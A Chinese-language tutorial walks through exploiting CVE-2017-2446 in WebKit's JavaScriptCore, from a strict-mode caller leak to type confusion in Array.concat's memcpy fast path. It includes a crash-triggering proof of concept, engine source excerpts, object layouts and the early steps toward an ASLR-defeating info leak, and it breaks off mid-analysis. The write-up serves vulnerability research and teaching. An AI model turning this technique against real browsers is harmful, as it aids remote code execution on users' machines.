CVE-2017-2446漏洞利用:从JavaScriptCore类型混淆到代码执行
引言
本文将从浏览器漏洞利用新手的视角,详细介绍如何为JavaScriptCore(JSC)开发漏洞利用程序。年初时,我对CTF问题感到厌倦,开始对编写更复杂、实用的漏洞利用程序产生兴趣。选择WebKit漏洞利用的原因包括:它是现实世界中广泛使用的代码;浏览器是我不太熟悉的领域(包括C++和解释器利用);WebKit据称是主要浏览器目标中最容易攻破的;已有大量关于WebKit漏洞利用的优秀资源,特别是saelo的Phrack文章和各种公开的控制台漏洞利用程序。
在本文中,我选择了一个看起来有趣且尚未公开利用的漏洞:@natashenka在Project Zero漏洞跟踪器中报告的CVE-2017-2446。漏洞报告中的PoC在memcpy()中崩溃,且部分寄存器可控,这通常是个好兆头。
目标设置与工具
首先,我们需要一个易受攻击的WebKit版本。e72e58665d57523f6792ad3479613935ecf9a5e0是最后一个易受攻击版本的哈希(修复在f7303f96833aa65a9eec5643dba39cede8d01144中),因此我们基于此版本进行检出和构建。
为了保持在更熟悉的领域,我决定仅针对jsc二进制文件,而不是整个WebKit浏览器。jsc是围绕libJavaScriptCore的薄命令行包装器,WebKit使用该库作为其JavaScript引擎。这意味着任何针对jsc的漏洞利用程序经过一些修改后也应在WebKit中工作。
我决定在Linux上针对WebKit而不是macOS,主要原因是调试器熟悉度(gdb + gef)。对于代码浏览,我最终使用了vim和rtags,效果尚可。
目标修改
我发现自己经常希望在脚本中设置断点以检查解释器状态。经过一番折腾后,我最终向jsc添加了一个dbg()函数。这允许我编写如下代码:
1
2
3
|
dbg(); // 检查内存布局
foo(); // 执行某些操作
dbg(); // 查看变化情况
|
添加dbg()到jsc的补丁非常简单:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:
addFunction(vm, "debug", functionDebug, 1);
addFunction(vm, "describe", functionDescribe, 1);
+ addFunction(vm, "dbg", functionDbg, 0);
addFunction(vm, "describeArray", functionDescribeArray, 1);
addFunction(vm, "print", functionPrintStdOut, 1);
addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
return JSValue::encode(jsUndefined());
}
+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+ asm("int3;");
+
+ return JSValue::encode(jsUndefined());
+}
+
EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
{
if (exec->argumentCount() < 1)
|
其他有用的jsc功能
jsc向解释器添加的两个有用函数是describe()和describeArray()。由于这些函数在实际目标解释器中不存在,因此不能用于漏洞利用,但在调试时非常有用:
1
2
3
4
5
6
|
>>> a = [0x41, 0x42];
65,66
>>> describe(a);
Object: 0x7fc5663b01f0 with butterfly 0x7fc5663caec8 (0x7fc5663eac20:[Array, {}, ArrayWithInt32, Proto:0x7fc5663e4140, Leaf]), ID: 88
>>> describeArray(a);
<Butterfly: 0x7fc5663caec8; public length: 2; vector length: 3>
|
符号
WebKit的发布版本没有启用断言,但也没有符号。由于我们需要符号,因此使用CFLAGS=-g CXXFLAGS=-g Scripts/Tools/build-webkit –jsc-only进行构建。
符号信息可能需要调试器花费相当长的时间来解析。我们可以通过对jsc和libJavaScriptCore.so运行gdb-add-index来显著减少调试器的加载时间。
转储对象布局
WebKit附带了一个用于macOS的脚本,可以转储各种类的对象布局,例如,以下是JSC::JSString:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSString
Found 1 types matching "JSString" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+0 { 24} JSString
+0 { 8} JSC::JSCell
+0 { 1} JSC::HeapCell
+0 < 4> JSC::StructureID m_structureID;
+4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+5 < 1> JSC::JSType m_type;
+6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+7 < 1> JSC::CellState m_cellState;
+8 < 4> unsigned int m_flags;
+12 < 4> unsigned int m_length;
+16 < 8> WTF::String m_value;
+16 < 8> WTF::RefPtr<WTF::StringImpl> m_impl;
+16 < 8> WTF::StringImpl * m_ptr;
Total byte size: 24
Total pad bytes: 0
|
此脚本需要稍作修改才能在Linux上运行,但在后续过程中非常有用。
漏洞
构建好目标并设置好工具后,让我们深入了解一下漏洞。JavaScript(显然)有一个获取函数调用者的功能:
1
2
3
4
5
6
7
8
9
10
11
|
var q;
function f() {
q = f.caller;
}
function g() {
f();
}
g(); // ‘q’现在等于‘g’
|
在某些条件下,此行为被禁用,特别是当JavaScript代码在严格模式下运行时。这里的特定漏洞是,如果从严格函数调用非严格函数,JSC将允许您获取对严格函数的引用。从提供的PoC中可以看出这是一个问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
var q;
// 这是一个非严格的代码块,因此允许获取调用者
function g(){
q = g.caller;
return 7;
}
var a = [1, 2, 3];
a.length = 4;
// 当任何东西(包括运行时)访问a[3]时,将调用g
Object.defineProperty(Array.prototype, "3", {get : g});
// 触发运行时访问a[3]
[4, 5, 6].concat(a);
// q现在是对内部运行时函数的引用
q(0x77777777, 0x77777777, 0); // 崩溃
|
在这种情况下,concat代码位于Source/JavaScriptCore/builtins/ArrayPrototype.js中,并标记为’use strict’。
这种行为并不总是可利用的:我们需要一个JS运行时函数’a’对参数执行清理,然后调用另一个运行时函数’b’,可以强制其执行用户提供的JavaScript以获取对’b’的函数引用。这将允许您执行b(0x41, 0x42),跳过’a’通常会对输入执行的清理。
JSC运行时是JavaScript和C++的组合,大致如下:
1
2
3
4
5
6
7
|
+-------------+
| 用户代码 | <- 用户提供的代码
+-------------+
| JS运行时 | <- 作为运行时一部分随浏览器提供的JS
+-------------+
| Cpp运行时 | <- 实现运行时其余部分的C++
+-------------+
|
上面的Array.concat是这种模式的一个好例子:当调用concat()时,它首先进入ArrayPrototype.js对参数执行清理,然后调用其中一个concat实现。快速路径实现通常用C++编写,而慢速路径要么是纯JS,要么是不同的C++实现。
这个漏洞的有用之处在于,我们获得的函数引用(上面代码片段中的’q’)是在JavaScript层执行输入清理之后,这意味着我们直接引用了本地函数。
提供的PoC是一个特别强大的例子,但还有其他例子——有些有用,有些无用。就一般计划而言,我们需要使用此漏洞创建信息泄漏以击败ASLR,然后找到一种方法利用它劫持控制流并获取shell。
信息泄漏
击败ASLR是首要任务。为此,我们需要了解在concat代码中拥有的引用。
详细分析concat
从concat调用跟踪代码路径,我们从Source/JavaScriptCore/builtins/ArrayPrototype.js开始:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function concat(first)
{
"use strict";
// [1] 执行一些输入验证
if (@argumentCount() === 1
&& @isJSArray(this)
&& this.@isConcatSpreadableSymbol === @undefined
&& (!@isObject(first) || first.@isConcatSpreadableSymbol === @undefined)) {
let result = @concatMemcpy(this, first); // [2] 调用快速路径
if (result !== null)
return result;
}
// … 省略 ...
|
在此代码片段中,@是解释器粘合剂,告诉JavaScript引擎在C++绑定中查找指定符号。这些函数只能通过Webkit附带的JavaScript运行时调用,而不能通过用户代码调用。如果通过一些间接方式跟踪,您会发现@concatMemcpy对应于Source/JavaScriptCore/runtime/ArrayPrototype.cpp中的arrayProtoPrivateFuncAppendMemcpy:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncAppendMemcpy(ExecState* exec)
{
ASSERT(exec->argumentCount() == 3);
VM& vm = exec->vm();
JSArray* resultArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
JSArray* otherArray = jsCast<JSArray*>(exec->uncheckedArgument(1));
JSValue startValue = exec->uncheckedArgument(2);
ASSERT(startValue.isAnyInt() && startValue.asAnyInt() >= 0 && startValue.asAnyInt() <= std::numeric_limits<unsigned>::max());
unsigned startIndex = static_cast<unsigned>(startValue.asAnyInt());
if (!resultArray->appendMemcpy(exec, vm, startIndex, otherArray)) // [3] 快速路径...
// … 省略 ...
}
|
最终调用JSArray.cpp中的appendMemcpy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
// … 省略 ...
unsigned otherLength = otherArray->length();
unsigned newLength = startIndex + otherLength;
if (newLength >= MIN_SPARSE_ARRAY_INDEX)
return false;
if (!ensureLength(vm, newLength)) { // [4] 检查目标大小
throwOutOfMemoryError(exec, scope);
return false;
}
ASSERT(copyType == indexingType());
if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); // [5] 执行concat
return true;
}
|
这可能看起来像很多代码,但给定数组src和dst,它可以简化为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# JS Array.concat
def concat(dst, src):
if typeof(dst) == Array and typeof(src) == Array: concatFastPath(dst, src)
else: concatSlowPath(dst, src)
# C++ concatMemcpy / arrayProtoPrivateFuncAppendMemcpy
def concatFastPath(dst, src):
appendMemcpy(dst, src)
# C++ appendMemcpy
def appendMemcpy(dst, src):
if allocated_size(dst) < sizeof(dst) + sizeof(src):
resize(dst)
memcpy(dst + sizeof(dst), src, sizeof(src));
|
然而,由于我们的漏洞,我们可以跳过[1]处的类型验证,直接使用非数组参数调用arrayProtoPrivateFuncAppendMemcpy!这将逻辑漏洞转变为类型混淆,并开辟了一些利用可能性。
JSObject布局
为了更好地理解漏洞,让我们看一下JSArray的布局:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSArray
Found 1 types matching "JSArray" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+0 { 16} JSArray
+0 { 16} JSC::JSNonFinalObject
+0 { 16} JSC::JSObject
+0 { 8} JSC::JSCell
+0 { 1} JSC::HeapCell
+0 < 4> JSC::StructureID m_structureID;
+4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+5 < 1> JSC::JSType m_type;
+6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+7 < 1> JSC::CellState m_cellState;
+8 < 8> JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
+8 < 8> JSC::Butterfly * m_value;
Total byte size: 16
Total pad bytes: 0
|
我们触发的memcpy使用butterfly()->contiguous().data() + startIndex作为目标,虽然这最初看起来复杂,但大部分都会编译掉。butterfly()是一个butterfly,如saelo的Phrack文章中详细说明。这意味着contiguous().data()部分实际上消失了。startIndex也完全可控,因此我们可以使其为0。结果,我们的memcpy简化为:memcpy(qword ptr [obj + 8], qword ptr [src + 8], sizeof(src))。要利用此漏洞,我们只需要一个在偏移+8处具有非butterfly指针的对象。
结果证明这并不简单。我能找到的大多数对象都继承自JSObject,意味着它们继承了在+8处的butterfly指针字段。在某些情况下(例如ArrayBuffer),此值 simply为NULL,而在其他情况下,我最终将butterfly与另一个butterfly类型混淆,但没有效果。JSString特别令人沮丧,因为它们的相关布局部分是:
1
2
|
+8 flags : u32
+12 length : u32
|
长度字段可通过用户代码控制,但flags不能。这给了我一个可以控制指针高32位的原语,虽然这可能通过一些堆喷射实现,但我选择寻找更好的漏洞(™)。
通过Symbols得救
此时我的基本过程是查看MDN上可以从解释器实例化的类型。这些大多数要么是装箱的(整数、布尔值等),要么是对象或字符串。然而,Symbol是一种JS原始类型,具有潜在有用的布局:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC Symbol
Found 1 types matching "Symbol" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+0 { 16} Symbol
+0 { 8} JSC::JSCell
+0 { 1} JSC::HeapCell
+0 < 4> JSC::StructureID m_structureID;
+4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+5 < 1> JSC::JSType m_type;
+6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+7 < 1> JSC::CellState m_cellState;
+8 < 8> JSC::PrivateName m_privateName;
+8 < 8> WTF::Ref<WTF::SymbolImpl> m_uid;
+8 < 8> WTF::SymbolImpl * m_ptr;
Total byte size: 16
Total pad bytes: 0
|
在+8处,我们有一个指向非butterfly的指针!此外,此对象通过上述代码路径的所有检查,导致在SymbolImpl上进行潜在可控的memcpy。现在我们只需要一种方法将其转变为信息泄漏…
图表
WTF::SymbolImpl的布局:
1
2
3
4
|
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout WTF SymbolImpl
Found 1 types matching "SymbolImpl" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+0 { 48} SymbolImpl
+0 {
|